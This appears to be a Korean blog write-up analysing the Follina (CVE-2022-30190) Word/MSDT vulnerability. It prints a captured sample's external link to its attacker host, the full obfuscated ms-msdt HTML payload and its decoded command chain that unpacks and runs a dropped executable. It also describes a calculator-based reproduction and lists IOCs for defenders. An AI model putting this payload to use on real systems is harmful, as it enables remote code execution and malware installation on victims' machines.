๊ธ€ ์ž‘์„ฑ์ž: heogi

Follina CVE-2022-30190


MS Word์™€ ๊ฐ™์€ ํ˜ธ์ถœ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ URL ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ MSDT๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•œ๋‹ค.
ํ•ด๋‹น ์ทจ์•ฝ์  ๋ฐœ์ƒ ์‹œ ํ˜ธ์ถœ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์˜ ๊ถŒํ•œ์œผ๋กœ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์ถ”๊ฐ€ ํ”„๋กœ๊ทธ๋žจ์„ ์„ค์น˜ํ•˜๊ฑฐ๋‚˜ ๋ฐ์ดํ„ฐ ํ™•์ธ ๋ฐ ๋ณ€๊ฒฝ ๋˜๋Š” ์‚ญ์ œ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

MSDT (Microsoft Support Diagnostic Tool) ?
Microsoft ์ง€์› ์ง„๋‹จ ๋„๊ตฌ๋กœ MS์˜ ์ง€์› ์ „๋ฌธ๊ฐ€์˜ ๋ถ„์„์„ ์œ„ํ•ด ์ง€๋‹จ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์œˆ๋„์šฐ ๊ธฐ๋ณธ ๋‚ด์žฅ ๋„๊ตฌ์ด๋‹ค.
MS์—์„œ ๊ณต์‹์ ์œผ๋กœ 2023๋…„ 1์›” ์‚ฌ์šฉ ์ค‘๋‹จ ๋ฐœํ‘œ๋˜์—ˆ๋‹ค.

1. Follina ์•…์„ฑ ์ฝ”๋“œ ๋ถ„์„

Follina Word ๋ฌธ์„œํ˜• ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์••์ถ• ํ•ด์ œํ•˜๋ฉด ์•„๋ž˜ ์ฒ˜๋Ÿผ ๊ด€๋ จ ๊ตฌ์„ฑ ํด๋”๋ฅผ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

document.xml.rels ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ฉด External ํƒœ๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

<Relationship Id="rId996" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!" TargetMode="External"/>

ํ˜„์žฌ๋Š” ํ•ด๋‹น Target์˜ URL์ด ๋น„ํ™œ์„ฑํ™” ๋˜์–ด์žˆ์–ด ์ถ”๊ฐ€ ๋™์ž‘์€ ์ˆ˜ํ–‰ ๋˜์ง€ ์•Š๋Š”๋‹ค.

์•„๋ž˜๋Š” RDF842l.html์˜ ์›๋ณธ ์ฝ˜ํ…์ธ ์ด๋‹ค.

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-- ์ค‘๋žต --

//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force
/param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed
IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../..//Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

</body>
</html>

2. Payload ๋ถ„์„

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../..//Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ํ•ด๋ณด๋ฉด Microsoft ์ง€์› ์ง„๋‹จ ๋งˆ๋ฒ•์‚ฌ ์‹คํ–‰ ํŒ์—…์ด ๋ฐœ์ƒํ•œ๋‹ค.

 

Payload๋ฅผ Base64 Decode๋ฅผ ํ•˜๋ฉด ์•„๋ž˜ ๋ช…๋ น๋“ค์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ํ•ด๋‹น ์ˆœ์„œ๋กœ Exploit์ด ์ง„ํ–‰๋œ๋‹ค.
05-2022-0438.rar๋กœ ์‹œ์ž‘๋˜๋Š” rgb.exe ํŒŒ์ผ์„ ํ™•์ธํ•  ์ˆ˜ ์—†๊ธฐ์—, ๊ตฌ์ฒด์ ์ธ ๊ณต๊ฒฉ ์˜ํ–ฅ๋„๋Š” ํ™•์ธ์ด ๋ถˆ๊ฐ€ํ•˜๋‹ค.

$cmd = "c:\windows\system32\cmd.exe"; # CMD ์‹คํ–‰
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; # ๊ณต๊ฒฉ์— ์‚ฌ์šฉ๋œ MSDT๊ฐ€ ์‹คํ–‰ ์ค‘์ด๋ฉด ์ข…๋ฃŒ
Start-Process $cmd -windowstyle hidden -ArgumentList "/c
cd C:\users\public\&& 
for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&& #
findstr TVNDRgAAAA 1.rar>1.t&&
certutil -decode 1.t 1.c &&
expand 1.c -F:* .&&
rgb.exe";

# %temp% ํด๋”์˜ 05-2022-0438.rar ํŒŒ์ผ์„ public ํด๋”์— 1.rar๋กœ ๋ณต์‚ฌํ•œ๋‹ค.
# 1.rar ํŒŒ์ผ์—์„œ TVNDRgAAAA ํŒจํ„ด์„ ์ฐพ์•„ 1.t ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.
# 1.t ํŒŒ์ผ์„ Base64 Decodeํ•˜์—ฌ 1.c ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค.
# 1.c CAB ํŒŒ์ผ์„ ํ˜„์žฌ ํด๋”์— ํ™•์žฅ(์••์ถ•ํ•ด์ œ)ํ•œ๋‹ค.
# rgb.exe๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
# TVNDRgAAAA์˜ Base64 Decode ๊ฐ’์€ MSCF๋กœ CAB ํŒŒ์ผ์˜ Magic Number ์ด๋‹ค.

 

3. Exploit ์žฌํ˜„

ํ˜„์žฌ๋Š” ํ•ด๋‹น ์•…์„ฑ ํŒŒ์ผ ์ž์ฒด๋กœ๋Š” ์žฌํ˜„์ด ๋ถˆ๊ฐ€ํ•˜์—ฌ ์•…์„ฑ ํŒŒ์ผ ๋ฐ Payload๋ฅผ ์žฌ๊ตฌ์„ฑํ•˜์—ฌ ๊ณ„์‚ฐ๊ธฐ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์ž‘์„ฑํ•œ๋‹ค.

๋จผ์ € Word์—์„œ ์™ธ๋ถ€ ํŒŒ์ผ์„ ๋ฐ›์•„์˜ค๋Š” URL์„ ์œ ํšจํ•œ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝํ•œ๋‹ค.

๋˜ํ•œ RDF8421.html์—์„œ ์‹คํ–‰๋  Payload๋„ ๋ณ€๊ฒฝํ•œ๋‹ค.
๊ณ„์‚ฐ๊ธฐ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก Powershell์„ ์ž‘์„ฑํ•˜๊ณ  Base64 Encoding์„ ์ง„ํ–‰ํ•ด์ค€๋‹ค.

๋ณ€๊ฒฝ๋œ Payload๋ฅผ RDF8421.html์— ๋ฐ˜์˜ ํ›„ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ํ˜ธ์ŠคํŒ…ํ•œ๋‹ค.

ํ•˜์ง€๋งŒ ์žฌํ˜„ ํ•ด๋ณด๋‹ˆ Windows๊ฐ€ ์ด๋ฏธ ํŒจ์น˜๋œ ๋ฒ„์ „์ด๋ผ ์ง„ํ–‰์ด ์•ˆ๋˜๋Š”๊ฑธ๋กœ ๋ณด์ธ๋‹ค.
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190

4. Follina IOC
Follina ์•…์„ฑ์ฝ”๋“œ๋Š” ๋ฌธ์„œํ˜• ์•…์„ฑ์ฝ”๋“œ๋กœ ์•„๋ž˜ IOC์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค.

IOC
52945af1def85b171870b31fa4782e52
8ee8fe6f0226e346e224cd72c728157c
6bcee92ab337c9130f27143cc7be5a55
f531a7c270d43656e34d578c8e71bc39
529c8f3d6d02ba996357aba535f688fc
d313002804198b5af1e0b537799be348

4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

C2: www.xmlformats[.]com (141[.]105.65.149)

 

 

์ฐธ๊ณ 

https://asec.ahnlab.com/ko/34919/
https://www.socinvestigation.com/new-microsoft-office-zero-day-follina-detection-response/
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190
https://github.com/JohnHammond/msdt-follina